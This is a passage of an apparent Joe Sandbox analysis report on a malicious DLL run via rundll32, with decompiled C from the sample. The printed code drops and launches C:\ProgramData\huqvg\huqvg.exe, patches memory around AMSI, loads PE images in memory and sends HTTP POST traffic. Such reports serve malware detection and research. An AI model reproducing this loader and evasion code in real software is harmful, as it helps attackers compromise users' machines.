				_v8 =  *[fs:0x30];
				return _v8;
			}

0x100010ea
0x100010f3

Memory Dump Source

Source File: 00000003.00000002.668407668.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.668390582.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.668432316.0000000010002000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.668446107.0000000010003000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.668456462.0000000010004000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3585cc5e86e4b4f2c0b231822883ac188ad7ac996d5f3a190238e1ab2981f7b1
Instruction ID: 3aed54436f5767a83b01f55326dea564c088d466d319321e9a1229c6b183aa19
Opcode Fuzzy Hash: 3585cc5e86e4b4f2c0b231822883ac188ad7ac996d5f3a190238e1ab2981f7b1
Instruction Fuzzy Hash: DCC04C7595664CEBC711CB89D541A59B7FCE709650F100195EC0893700D5356E109595

Uniqueness

Uniqueness Score: -1.00%

Function 011A14A0, Relevance: 12.2, APIs: 8, Instructions: 171COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000007F), ref: 011A14DB
SetLastError.KERNEL32(0000007F), ref: 011A1507

Memory Dump Source

Source File: 00000003.00000002.662490371.00000000011A1000.00000020.00000001.sdmp, Offset: 011A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11a1000_rundll32.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: e518a0573dee779e6da20ee5b463e3dc2bd7241a3e78d72a128c378984eddfda
Instruction ID: 25e1238ce0b13edbc828a22c36c95ab2a18f1124bbe3567ab6e5b6a3899cda11
Opcode Fuzzy Hash: e518a0573dee779e6da20ee5b463e3dc2bd7241a3e78d72a128c378984eddfda
Instruction Fuzzy Hash: 72710978E44109EFCB08DF98C580AADBBB2FF49304FA58598D416AB345D774EA81CB94

Uniqueness

Uniqueness Score: -1.00%

Function 048512B0, Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 25%

			E048512B0() {
				signed int _v8;
				void _v40;
				void* _v52;
				void* _v56;
				char _v124;
				int _t23;
				void* _t32;
				void* _t37;
				signed int _t40;

				_v8 =  *0x4853004 ^ _t40;
				 *0x4853028( &_v124, 0, 0x44, _t32, _t37);
				 *0x4853028( &_v56, 0, 0x10);
				_v124 = 0x44;
				memcpy( &_v40, "C:\\ProgramData\\huqvg\\huqvg.exe", 7 << 2);
				asm("movsw");
				asm("movsb");
				 *0x4853018( &_v40, 0, 0, 0, 0, 0, 0, "C:\\",  &_v124,  &_v56);
				CloseHandle(_v56);
				_t23 = CloseHandle(_v52);
				E04851A04();
				return _t23;
			}

0x048512bd
0x048512ca
0x048512db
0x048512e4
0x048512f8
0x048512fa
0x048512fc
0x0485131a
0x04851324
0x0485132e
0x0485133b
0x04851343

APIs

CloseHandle.KERNEL32(?), ref: 04851324
CloseHandle.KERNEL32(?), ref: 0485132E

Strings

C:\ProgramData\huqvg\huqvg.exe, xrefs: 048512F0
C:\ProgramData\huqvg\huqvg.exe, xrefs: 048512C0
D, xrefs: 048512E4
C:\, xrefs: 04851305

Memory Dump Source

Source File: 00000003.00000002.665004317.0000000004851000.00000020.00000001.sdmp, Offset: 04850000, based on PE: true

Associated: 00000003.00000002.664819390.0000000004850000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.666866498.0000000004852000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4850000_rundll32.jbxd

Similarity

API ID: CloseHandle
String ID: C:\$C:\ProgramData\huqvg\huqvg.exe$C:\ProgramData\huqvg\huqvg.exe$D
API String ID: 2962429428-1049507935
Opcode ID: 84bd75b90bafa31c8a28a658541f8392a55ff0dc385e7ef02cd218c42367b373
Instruction ID: 544cb704eaff4a1e63d369a4b581158db99bd0ff7805c69bee5d0cbb219b1a17
Opcode Fuzzy Hash: 84bd75b90bafa31c8a28a658541f8392a55ff0dc385e7ef02cd218c42367b373
Instruction Fuzzy Hash: 5A016D71A00308ABDB10FBA4D849FDE7B7DEB48714F500958FA09A7180DA796E08CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 011A25E0, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExA.KERNEL32(011A4070,00000000,00000800), ref: 011A25F9
GetProcAddress.KERNEL32(00000000,011A4078), ref: 011A2615
VirtualProtect.KERNEL32(?,00000004,00000040,?), ref: 011A2650
VirtualProtect.KERNEL32(?,00000004,?,?), ref: 011A2671

Strings

AMSI, xrefs: 011A263C

Memory Dump Source

Source File: 00000003.00000002.662490371.00000000011A1000.00000020.00000001.sdmp, Offset: 011A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11a1000_rundll32.jbxd

Similarity

API ID: ProtectVirtual$AddressLibraryLoadProc
String ID: AMSI
API String ID: 3300690313-3828877684
Opcode ID: 6b93b809a0a998f89a62662b41f4dceb096ae9ce2e423d2b12969b753269a3f0
Instruction ID: 19ccef383f17fad157b45b6b3cb7de53d84c3863793bcfc0f5c9296d4c0127dc
Opcode Fuzzy Hash: 6b93b809a0a998f89a62662b41f4dceb096ae9ce2e423d2b12969b753269a3f0
Instruction Fuzzy Hash: 79111CB8E41209EFCB18CFD4C945BAEBBB4FB48300F504559EA1667340D7B46A44DB55

Uniqueness

Uniqueness Score: -1.00%

Function 01164466, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 55libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?), ref: 011644DA
GetProcAddress.KERNEL32(?), ref: 011644E4

Strings

dll, xrefs: 01164476
D, xrefs: 0116449A

Memory Dump Source

Source File: 00000003.00000002.662420469.0000000001160000.00000040.00000001.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1160000_rundll32.jbxd

Similarity

API ID: AddressProc
String ID: D$dll
API String ID: 190572456-2257804249
Opcode ID: d6a5440daa4b5954b40f572194cbb49577153b61c06ced8391ffe2c57ab3dd00
Instruction ID: 8aa7bb8960234ad2bffdced2c225c7995ecf775a5db68c4040c37f83c144f16d
Opcode Fuzzy Hash: d6a5440daa4b5954b40f572194cbb49577153b61c06ced8391ffe2c57ab3dd00
Instruction Fuzzy Hash: F8018071900218BBEB14EBA4CC99FDF7B7DEB48704F104018FB05A7185DB756A08CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 011B1FA0, Relevance: 6.4, APIs: 5, Instructions: 121
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E011B1FA0(intOrPtr __ecx, intOrPtr* _a4, signed int _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr* _v24;
				signed short* _v28;
				intOrPtr* _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				void* _t82;
				void* _t124;

				_v40 = __ecx;
				_t3 = _a4 + 4; // 0x3
				_v12 =  *_t3;
				_v16 = 0;
				_v32 =  *_a4 + 0x78;
				if( *((intOrPtr*)(_v32 + 4)) != 0) {
					_v8 = _v12 +  *_v32;
					if( *((intOrPtr*)(_v8 + 0x18)) == 0 ||  *((intOrPtr*)(_v8 + 0x14)) == 0) {
						SetLastError(0x7f);
						return 0;
					} else {
						if((_a8 >> 0x00000010 & 0xffff) != 0) {
							_v24 = _v12 +  *((intOrPtr*)(_v8 + 0x20));
							_v28 = _v12 +  *((intOrPtr*)(_v8 + 0x24));
							_v36 = 0;
							_v20 = 0;
							while(_v20 <  *((intOrPtr*)(_v8 + 0x18))) {
								_t82 = E011B11E0(_a8, _v12 +  *_v24);
								_t124 = _t124 + 8;
								if(_t82 != 0) {
									_v20 = _v20 + 1;
									_v24 = _v24 + 4;
									_v28 =  &(_v28[1]);
									continue;
								}
								_v16 =  *_v28 & 0x0000ffff;
								_v36 = 1;
								break;
							}
							if(_v36 != 0) {
								L17:
								if(_v16 <=  *((intOrPtr*)(_v8 + 0x14))) {
									return _v12 +  *((intOrPtr*)(_v12 +  *((intOrPtr*)(_v8 + 0x1c)) + _v16 * 4));
								}
								SetLastError(0x7f);
								return 0;
							}
							SetLastError(0x7f);
							return 0;
						}
						if((_a8 & 0xffff) >=  *((intOrPtr*)(_v8 + 0x10))) {
							_v16 = (_a8 & 0xffff) -  *((intOrPtr*)(_v8 + 0x10));
							goto L17;
						}
						SetLastError(0x7f);
						return 0;
					}
				}
				SetLastError(0x7f);
				return 0;
			}

0x011b1fa6
0x011b1fac
0x011b1faf
0x011b1fb2
0x011b1fca
0x011b1fd4
0x011b1fed
0x011b1ff7
0x011b2004
0x00000000
0x011b2011
0x011b2021
0x011b2069
0x011b2075
0x011b2078
0x011b207f
0x011b20a3
0x011b20bb
0x011b20c0
0x011b20c5
0x011b208e
0x011b2097
0x011b20a0
0x00000000
0x011b20a0
0x011b20cd
0x011b20d0
0x00000000
0x011b20d0
0x011b20df
0x011b20ed
0x011b20f6
0x00000000
0x011b2113
0x011b20fa
0x00000000
0x011b2100
0x011b20e3
0x00000000
0x011b20e9
0x011b2035
0x011b2058
0x00000000
0x011b2058
0x011b2039
0x00000000
0x011b203f
0x011b1ff7
0x011b1fd8
0x00000000

APIs

SetLastError.KERNEL32(0000007F,?,?,?,?,011B1039,00000000), ref: 011B1FD8
SetLastError.KERNEL32(0000007F,?,?,?,?,011B1039,00000000), ref: 011B2004

Memory Dump Source

Source File: 00000003.00000002.662633575.00000000011B1000.00000020.00000001.sdmp, Offset: 011B0000, based on PE: true

Associated: 00000003.00000002.662614711.00000000011B0000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.662646662.00000000011B3000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.662686050.00000000011B4000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11b0000_rundll32.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 08829c6ef4e7119b918c41de79640e5c2b5795e652099f8828019aad6a16ec33
Instruction ID: e74ce97e551943bb97c2aef895adb9fea17ca2de8ad985e3347358a3a91ba7b0
Opcode Fuzzy Hash: 08829c6ef4e7119b918c41de79640e5c2b5795e652099f8828019aad6a16ec33
Instruction Fuzzy Hash: 0151F974A00109DFCB18CF98C5C1BAEBBB2FF48305F208169D515AB345D735EA85CB91

Uniqueness

Uniqueness Score: -1.00%

Function 01164266, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 80threadCOMMON

Download Yara Rule

APIs

Part of subcall function 011647F6: atoi.MSVCRT ref: 011648F0
Part of subcall function 011647F6: _initterm.MSVCRT ref: 01164905

DisableThreadLibraryCalls.KERNEL32(00003A98), ref: 0116431C

Strings

dll, xrefs: 0116428C
EL32.dll, xrefs: 0116427D

Memory Dump Source

Source File: 00000003.00000002.662420469.0000000001160000.00000040.00000001.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1160000_rundll32.jbxd

Similarity

API ID: CallsDisableLibraryThread_inittermatoi
String ID: EL32.dll$dll
API String ID: 2582834166-3514254202
Opcode ID: 3677c87e7301b03a0ea7938c50ba3f2ac51d1810227c807ec84151f250858ddc
Instruction ID: dd9d933d66306aed5d9aec51c9ff6209b572d69eaa990356ff7031291175581c
Opcode Fuzzy Hash: 3677c87e7301b03a0ea7938c50ba3f2ac51d1810227c807ec84151f250858ddc
Instruction Fuzzy Hash: 1021D872E001189BEB08DBE8CC95ADFBB7DFF44304F144028E505AB244D776AA16CB91

Uniqueness

Uniqueness Score: -1.00%

Function 011A2430, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,00000040,00000004,?), ref: 011A2468
VirtualProtect.KERNEL32(00000000,000000F8,00000004,?), ref: 011A24B2

Strings

@, xrefs: 011A2453

Memory Dump Source

Source File: 00000003.00000002.662490371.00000000011A1000.00000020.00000001.sdmp, Offset: 011A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11a1000_rundll32.jbxd

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: b58882c73062134d6b8c6c2542e5ba6d8bfaa6c598acfbe0382362eb876bd77e
Instruction ID: d6bb4cb8ae4040c6b4755268a7d96e7ab53a0ed4eb2f0232ad8187578ce22d15
Opcode Fuzzy Hash: b58882c73062134d6b8c6c2542e5ba6d8bfaa6c598acfbe0382362eb876bd77e
Instruction Fuzzy Hash: 4721E8B4A04209EFDF18CF98C980BADBFB5BF44304F648199D916AB245C774AB80DB55

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 7132 Parent PID: 7100 rundll32.exeCOMMON

Execution Graph

Execution Coverage:	23.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	294
Total number of Limit Nodes:	14

Executed Functions

Function 01191030, Relevance: 18.4, APIs: 12, Instructions: 362
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(01194054,01194040), ref: 01191047
GetProcAddress.KERNEL32(00000000), ref: 0119104E

Part of subcall function 01191B30: SetLastError.KERNEL32(0000000D,?,01191070,?,00000040), ref: 01191B3D

SetLastError.KERNEL32(000000C1), ref: 01191096

Memory Dump Source

Source File: 00000004.00000002.667473154.0000000001191000.00000020.00000001.sdmp, Offset: 01191000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1191000_rundll32.jbxd

Similarity

API ID: ErrorLast$AddressLibraryLoadProc
String ID:
API String ID: 1866314245-0
Opcode ID: f5daf84b8892bb4d22cc349553edafac20890d228188a8bfa3a5b07b2c1bbd5a
Instruction ID: 062b3991f2beb898535cca05ba1c4f6bcbda3103100f6f9602e434ac9d990f30
Opcode Fuzzy Hash: f5daf84b8892bb4d22cc349553edafac20890d228188a8bfa3a5b07b2c1bbd5a
Instruction Fuzzy Hash: 09F1DCB4E01209EFDF08DF94D984AADB7B1BF48314F148598E925AB341D735EE81CB51

Uniqueness

Uniqueness Score: -1.00%

Function 033711A0, Relevance: 45.6, APIs: 13, Strings: 13, Instructions: 69
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E033711A0() {
				struct HINSTANCE__* _v8;
				struct HINSTANCE__* _v12;
				void* _t32;
				void* _t40;

				_v8 = LoadLibraryA("msvcrt.dll");
				_v12 = LoadLibraryA("kernel32.dll");
				 *0x3373010 = GetProcAddress(_v8, "realloc");
				 *0x3373020 = GetProcAddress(_v8, "exit");
				 *0x3373024 = GetProcAddress(_v8, "strncmp");
				 *0x3373008 = GetProcAddress(_v8, "free");
				 *0x337300c = GetProcAddress(_v8, "malloc");
				 *0x3373014 = GetProcAddress(_v12, "CreateDirectoryA");
				 *0x3373018 = GetProcAddress(_v12, "CreateProcessA");
				 *0x337301c = GetProcAddress(_v12, "DeleteFileA");
				 *0x3373028 = GetProcAddress(_v8, "memset");
				 *0x3373030 = GetProcAddress(_v8, "memcpy");
				 *0x337302c = GetProcAddress(_v8, "strstr"); // executed
				E03371040(); // executed
				_t32 = E033710B0(_t40); // executed
				return _t32;
			}

0x033711b1
0x033711bf
0x033711d1
0x033711e5
0x033711f9
0x0337120d
0x03371221
0x03371235
0x03371249
0x0337125d
0x03371271
0x03371285
0x03371299
0x0337129e
0x033712a3
0x033712ab

APIs

LoadLibraryA.KERNEL32(msvcrt.dll), ref: 033711AB
LoadLibraryA.KERNEL32(kernel32.dll), ref: 033711B9
GetProcAddress.KERNEL32(00000001,realloc), ref: 033711CB
GetProcAddress.KERNEL32(00000001,exit), ref: 033711DF
GetProcAddress.KERNEL32(00000001,strncmp), ref: 033711F3
GetProcAddress.KERNEL32(00000001,free), ref: 03371207
GetProcAddress.KERNEL32(00000001,malloc), ref: 0337121B
GetProcAddress.KERNEL32(?,CreateDirectoryA), ref: 0337122F
GetProcAddress.KERNEL32(?,CreateProcessA), ref: 03371243
GetProcAddress.KERNEL32(?,DeleteFileA), ref: 03371257
GetProcAddress.KERNEL32(00000001,memset), ref: 0337126B
GetProcAddress.KERNEL32(00000001,memcpy), ref: 0337127F
GetProcAddress.KERNEL32(00000001,strstr), ref: 03371293

Part of subcall function 03371040: CreateDirectoryA.KERNELBASE(?,00000000,?,?,?,?,?,?,033712A3), ref: 0337108A

Part of subcall function 033710B0: Sleep.KERNEL32(00003A98), ref: 03371166

Strings

memcpy, xrefs: 03371276
strstr, xrefs: 0337128A
memset, xrefs: 03371262
kernel32.dll, xrefs: 033711B4
free, xrefs: 033711FE
exit, xrefs: 033711D6
CreateDirectoryA, xrefs: 03371226
msvcrt.dll, xrefs: 033711A6
DeleteFileA, xrefs: 0337124E
strncmp, xrefs: 033711EA
realloc, xrefs: 033711C2
CreateProcessA, xrefs: 0337123A
malloc, xrefs: 03371212

Memory Dump Source

Source File: 00000004.00000002.668060924.0000000003371000.00000020.00000001.sdmp, Offset: 03370000, based on PE: true

Associated: 00000004.00000002.668050457.0000000003370000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.668070742.0000000003372000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3370000_rundll32.jbxd

Similarity

API ID: AddressProc$LibraryLoad$CreateDirectorySleep
String ID: CreateDirectoryA$CreateProcessA$DeleteFileA$exit$free$kernel32.dll$malloc$memcpy$memset$msvcrt.dll$realloc$strncmp$strstr
API String ID: 2158191583-3107153655
Opcode ID: 0e111d47c250533cd9a00f8a2c0f40adc0529c3c7b409797da5ac8e23b704580
Instruction ID: e3919abfa4fcfed70c10c8bb4caaa5d584c5df67eb9503ebb2bc25ce96a6f94e
Opcode Fuzzy Hash: 0e111d47c250533cd9a00f8a2c0f40adc0529c3c7b409797da5ac8e23b704580
Instruction Fuzzy Hash: 0C21BAB9940304EFC730EFA0D9C996E7B79F748711F200D59EA92D6209D67C9900EBB1

Uniqueness

Uniqueness Score: -1.00%

Function 011A1B50, Relevance: 22.8, APIs: 15, Instructions: 331
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 90%

			E011A1B50(intOrPtr __ecx, signed short* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				void* _v8;
				intOrPtr* _v12;
				void* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				signed short* _v28;
				void* _v32;
				void* _v36;
				void* _v40;
				long _v44;
				void* _v48;
				void* _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v100;
				char _v104;
				void* _t184;
				void* _t195;
				void* _t202;
				void* _t205;
				void* _t206;
				void* _t223;
				intOrPtr _t320;

				_v20 = __ecx;
				_v8 = 0;
				_v40 = 0;
				if(E011A1270(_v20, _a8, 0x40) != 0) {
					_v28 = _a4;
					if(( *_v28 & 0x0000ffff) == 0x5a4d) {
						if(E011A1270(_v20, _a8, _v28[0x1e] + 0xf8) != 0) {
							_v12 = _a4 + _v28[0x1e];
							if( *_v12 == 0x4550) {
								_t19 = _v12 + 4; // 0x3
								if(( *_t19 & 0x0000ffff) == 0x14c) {
									_t21 = _v12 + 0x38; // 0x0
									if(( *_t21 & 0x00000001) == 0) {
										_t23 = _v12 + 0x14; // 0x0
										_t26 = ( *_t23 & 0x0000ffff) + 0x18; // 0x11a4018
										_v24 = _v12 + _t26;
										_t29 = _v12 + 0x38; // 0x0
										_v60 =  *_t29;
										_v32 = 0;
										while(1) {
											_t37 = _v12 + 6; // 0x40000
											if(_v32 >= ( *_t37 & 0x0000ffff)) {
												break;
											}
											if( *((intOrPtr*)(_v24 + 0x10)) != 0) {
												_v36 =  *((intOrPtr*)(_v24 + 0xc)) +  *((intOrPtr*)(_v24 + 0x10));
											} else {
												_v36 =  *((intOrPtr*)(_v24 + 0xc)) + _v60;
											}
											if(_v36 > _v40) {
												_v40 = _v36;
											}
											_v32 = _v32 + 1;
											_v24 = _v24 + 0x28;
										}
										__imp__GetNativeSystemInfo( &_v104); // executed
										_t56 = _v12 + 0x50; // 0x70207369
										_t59 = _v100 - 1; // 0x70207368
										_v44 =  *_t56 + _t59 &  !(_v100 - 1);
										_t65 = _v100 - 1; // -1
										if(_v44 == (_v40 + _t65 &  !(_v100 - 1))) {
											_t70 = _v12 + 0x34; // 0x0
											_t184 = VirtualAlloc( *_t70, _v44, 0x3000, 4); // executed
											_v16 = _t184;
											if(_v16 != 0) {
												L26:
												_v8 = HeapAlloc(GetProcessHeap(), 8, 0x34);
												if(_v8 != 0) {
													 *((intOrPtr*)(_v8 + 4)) = _v16;
													_t83 = _v12 + 0x16; // 0x400000
													if(( *_t83 & 0x2000) == 0) {
														_v48 = 0;
													} else {
														_v48 = 1;
													}
													 *(_v8 + 0x14) = _v48;
													 *((intOrPtr*)(_v8 + 0x1c)) = _a12;
													 *((intOrPtr*)(_v8 + 0x20)) = _a16;
													 *((intOrPtr*)(_v8 + 0x24)) = _a20;
													 *((intOrPtr*)(_v8 + 0x28)) = _a24;
													 *((intOrPtr*)(_v8 + 0x30)) = _v100;
													_t105 = _v12 + 0x54; // 0x72676f72
													if(E011A1270(_v20, _a8,  *_t105) != 0) {
														_t109 = _v12 + 0x54; // 0x72676f72
														_t195 = VirtualAlloc(_v16,  *_t109, 0x1000, 4); // executed
														_v52 = _t195;
														_t113 = _v12 + 0x54; // 0x72676f72
														E011A10D0(_v52, _v28,  *_t113);
														 *_v8 = _v52 + _v28[0x1e];
														 *((intOrPtr*)( *_v8 + 0x34)) = _v16;
														_t202 = E011A12A0(_v20, _a4, _a8, _v12, _v8); // executed
														if(_t202 != 0) {
															_t131 = _v12 + 0x34; // 0x0
															_t320 =  *((intOrPtr*)( *_v8 + 0x34)) -  *_t131;
															_v56 = _t320;
															if(_t320 == 0) {
																 *((intOrPtr*)(_v8 + 0x18)) = 1;
															} else {
																 *((intOrPtr*)(_v8 + 0x18)) = E011A17B0(_v20, _v8, _v56);
															}
															_t205 = E011A18C0(_v20, _v8); // executed
															if(_t205 != 0) {
																_t206 = E011A15B0(_v20, _v8); // executed
																if(_t206 != 0) {
																	if(E011A1730(_v20, _v8) != 0) {
																		if( *((intOrPtr*)( *_v8 + 0x28)) == 0) {
																			 *(_v8 + 0x2c) = 0;
																			L52:
																			return _v8;
																		}
																		if( *(_v8 + 0x14) == 0) {
																			 *(_v8 + 0x2c) = _v16 +  *((intOrPtr*)( *_v8 + 0x28));
																			L50:
																			goto L52;
																		}
																		_v64 = _v16 +  *((intOrPtr*)( *_v8 + 0x28));
																		_v68 = _v64(_v16, 1, 0);
																		if(_v68 != 0) {
																			 *((intOrPtr*)(_v8 + 0x10)) = 1;
																			goto L50;
																		}
																		SetLastError(0x45a);
																		goto L53;
																	}
																	goto L53;
																}
																goto L53;
															}
															goto L53;
														}
														goto L53;
													} else {
														L53:
														E011A2120(_v20, _v8);
														return 0;
													}
												}
												VirtualFree(_v16, 0, 0x8000);
												SetLastError(0xe);
												return 0;
											}
											_t223 = VirtualAlloc(0, _v44, 0x3000, 4); // executed
											_v16 = _t223;
											if(_v16 != 0) {
												goto L26;
											}
											SetLastError(0xe);
											return 0;
										}
										SetLastError(0xc1);
										return 0;
									}
									SetLastError(0xc1);
									return 0;
								}
								SetLastError(0xc1);
								return 0;
							}
							SetLastError(0xc1);
							return 0;
						}
						return 0;
					}
					SetLastError(0xc1);
					return 0;
				}
				return 0;
			}

0x011a1b56
0x011a1b59
0x011a1b60
0x011a1b77
0x011a1b83
0x011a1b91
0x011a1bc0
0x011a1bd2
0x011a1bde
0x011a1bf5
0x011a1bff
0x011a1c16
0x011a1c1c
0x011a1c33
0x011a1c3a
0x011a1c3e
0x011a1c44
0x011a1c47
0x011a1c4a
0x011a1c65
0x011a1c68
0x011a1c6f
0x00000000
0x00000000
0x011a1c78
0x011a1c94
0x011a1c7a
0x011a1c83
0x011a1c83
0x011a1c9d
0x011a1ca2
0x011a1ca2
0x011a1c59
0x011a1c62
0x011a1c62
0x011a1cab
0x011a1cb4
0x011a1cba
0x011a1cc8
0x011a1cd1
0x011a1ce2
0x011a1d04
0x011a1d08
0x011a1d0e
0x011a1d15
0x011a1d42
0x011a1d53
0x011a1d5a
0x011a1d82
0x011a1d88
0x011a1d92
0x011a1d9d
0x011a1d94
0x011a1d94
0x011a1d94
0x011a1daa
0x011a1db3
0x011a1dbc
0x011a1dc5
0x011a1dce
0x011a1dd7
0x011a1ddd
0x011a1def
0x011a1e05
0x011a1e0d
0x011a1e13
0x011a1e19
0x011a1e25
0x011a1e39
0x011a1e43
0x011a1e59
0x011a1e60
0x011a1e77
0x011a1e77
0x011a1e7a
0x011a1e7d
0x011a1e9a
0x011a1e7f
0x011a1e92
0x011a1e92
0x011a1ea8
0x011a1eaf
0x011a1ec2
0x011a1ec9
0x011a1ee3
0x011a1ef2
0x011a1f50
0x011a1f57
0x00000000
0x011a1f57
0x011a1efb
0x011a1f48
0x011a1f4b
0x00000000
0x011a1f4b
0x011a1f08
0x011a1f16
0x011a1f1d
0x011a1f31
0x00000000
0x011a1f31
0x011a1f24
0x00000000
0x011a1f24
0x00000000
0x011a1ee5
0x00000000
0x011a1ecb
0x00000000
0x011a1eb1
0x00000000
0x011a1df1
0x011a1f5c
0x011a1f63
0x00000000
0x011a1f68
0x011a1def
0x011a1d67
0x011a1d6f
0x00000000
0x011a1d75
0x011a1d24
0x011a1d2a
0x011a1d31
0x00000000
0x00000000
0x011a1d35
0x00000000
0x011a1d3b
0x011a1ce9
0x00000000
0x011a1cef
0x011a1c23
0x00000000
0x011a1c29
0x011a1c06
0x00000000
0x011a1c0c
0x011a1be5
0x00000000
0x011a1beb
0x00000000
0x011a1bc2
0x011a1b98
0x00000000
0x011a1b9e
0x00000000

APIs

Part of subcall function 011A1270: SetLastError.KERNEL32(0000000D,?,?,011A1B75,011A1025,00000040), ref: 011A1281

SetLastError.KERNEL32(000000C1,011A1025,00000040), ref: 011A1B98

Memory Dump Source

Source File: 00000004.00000002.667595301.00000000011A1000.00000020.00000001.sdmp, Offset: 011A0000, based on PE: true

Associated: 00000004.00000002.667583917.00000000011A0000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.667605650.00000000011A3000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.667615894.00000000011A4000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_11a0000_rundll32.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 1bff18bff92a32b05257ddc985b4c519ffcd6ff8b40bd9c2e6864145ef2ac28d
Instruction ID: 4b984727ffa06504312da888600dd5eb66a8d8684427021cff1a70818caea5fa
Opcode Fuzzy Hash: 1bff18bff92a32b05257ddc985b4c519ffcd6ff8b40bd9c2e6864145ef2ac28d
Instruction Fuzzy Hash: 51E11B78A00209EFDB08CFA8C994AAEBFB5FF48314F508559E515AB385D730AE85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 03371640, Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 212
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0337173A
WSAStartup.WS2_32(00000102,?), ref: 0337174F
socket.WS2_32(00000002,00000001,00000006), ref: 03371766
gethostbyname.WS2_32(?), ref: 03371779
htons.WS2_32(?), ref: 0337178D
connect.WS2_32(?,?,00000010), ref: 033717D2
send.WS2_32(?,?,?,00000000), ref: 03371854
recv.WS2_32(?,?,00000BB8,00000000), ref: 033718C1

Strings

POST %s HTTP/1.1Host: %sPragma: no-cacheContent-Length: %d%s, xrefs: 0337172E
ping, xrefs: 03371657

Memory Dump Source

Source File: 00000004.00000002.668060924.0000000003371000.00000020.00000001.sdmp, Offset: 03370000, based on PE: true

Associated: 00000004.00000002.668050457.0000000003370000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.668070742.0000000003372000.00000002.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3370000_rundll32.jbxd

Similarity

API ID: Startupconnectgethostbynamehtonsrecvsendsocketwsprintf
String ID: POST %s HTTP/1.1Host: %sPragma: no-cacheContent-Length: %d%s$ping
API String ID: 1466141387-1232505173
Opcode ID: f76a058968d8d38a02bc32f2d14cf796cc3f330a83ae2739c5db36d1bd87403b
Instruction ID: cf39feb90186deb5218ecd6237716500d401723789a04bdd5b465108476d364e
Opcode Fuzzy Hash: f76a058968d8d38a02bc32f2d14cf796cc3f330a83ae2739c5db36d1bd87403b
Instruction Fuzzy Hash: 22B10375D042A89FDB20DF64DD84AD9B7B9AF48300F0085C9E58DE7285D7B46AC4CF61

Uniqueness

Uniqueness Score: -1.00%

Function 011921A0, Relevance: 6.2, APIs: 4, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsBadHugeReadPtr.KERNEL32(00000000,00000014), ref: 011921F9
SetLastError.KERNEL32(0000007E), ref: 0119223B

Memory Dump Source

Source File: 00000004.00000002.667473154.0000000001191000.00000020.00000001.sdmp, Offset: 01191000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1191000_rundll32.jbxd

Similarity

API ID: ErrorHugeLastRead
String ID:
